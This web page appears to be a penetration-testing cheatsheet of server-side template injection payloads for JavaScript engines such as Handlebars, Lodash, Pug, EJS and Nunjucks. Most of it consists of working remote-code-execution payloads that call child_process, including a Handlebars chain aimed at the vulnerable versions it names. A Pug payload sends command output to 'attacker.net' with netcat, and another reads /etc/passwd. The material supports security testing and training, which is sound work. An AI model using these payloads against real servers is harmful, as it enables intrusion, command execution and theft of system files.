// Payloads · Server Side Template Injection

Server Side Template Injection - JavaScript

Server Side Template Injection - JavaScript

Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

Summary

Templating Libraries

Template NamePayload Format
DotJS{{= }}
DustJS{ }
EJS<% %>
HandlebarsJS{{ }}
HoganJS{{ }}
Lodash{{= }}
MustacheJS{{ }}
NunjucksJS{{ }}
PugJS#{ }
TwigJS{{ }}
UnderscoreJS<% %>
VelocityJS#=set($X="")$X
VueJS{{ }}

Universal Payloads

Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.

To use these payloads, wrap them in the appropriate tag.

// Rendered RCE
global.process.mainModule.require("child_process").execSync("id").toString()

// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]

// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]

// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()

NunjucksJS is also capable of executing these payloads using {{range.constructor(' ... ')()}}.

Handlebars

Official website

Handlebars compiles templates into JavaScript functions.

Handlebars - Basic Injection

{{this}}
{{self}}

Handlebars - Command Execution

This payload only work in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:

  • >= 4.1.0, < 4.1.2
  • >= 4.0.0, < 4.0.14
  • < 3.0.7
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Lodash

Official website

A modern JavaScript utility library delivering modularity, performance & extras.

Lodash - Basic Injection

How to create a template:

const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • string: The template string.
  • options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
  • options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
  • options.escape: It is a regular expression that specifies the HTML escape delimiter.

For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.

{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Lodash - Command Execution

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

Pug

Universal payloads also work for Pug.

Official website

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.